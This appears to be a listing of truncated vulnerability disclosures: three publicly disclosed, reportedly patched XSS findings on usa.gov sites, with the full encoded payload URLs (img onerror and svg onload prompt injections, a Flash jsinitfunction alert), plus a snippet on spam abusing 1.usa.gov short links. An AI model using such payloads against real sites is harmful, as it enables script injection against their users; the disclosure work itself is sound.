publications.usa.gov XSS vulnerability

Vulnerable URL: https://publications.usa.gov/USAPubs.php/a52b4%22%3Etrolo%3Ci%3Etralala%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3Estyle%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20a52b4?PubID=1146 Details: Description| Value ---|--- Patched:| Yes, at...

commissiononcare.sites.usa.gov XSS vulnerability

Vulnerable URL: https://commissiononcare.sites.usa.gov/feed/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

usa.gov XSS vulnerability

Vulnerable URL: https://www.usa.gov/@echoison%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 23.06.2016 Latest check for patch:| 23.06.2016 22:31 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

Spam campaign tricking thousands with shortened .gov URLs

Symantec has reported an increase in spam messages containing .gov URLs. Cybercriminals are using 1.usa.gov links in their spam campaigns to trick users into thinking the links lead to genuine US government Web sites. Spammers have created these shortened URLs through a loophole in the URL...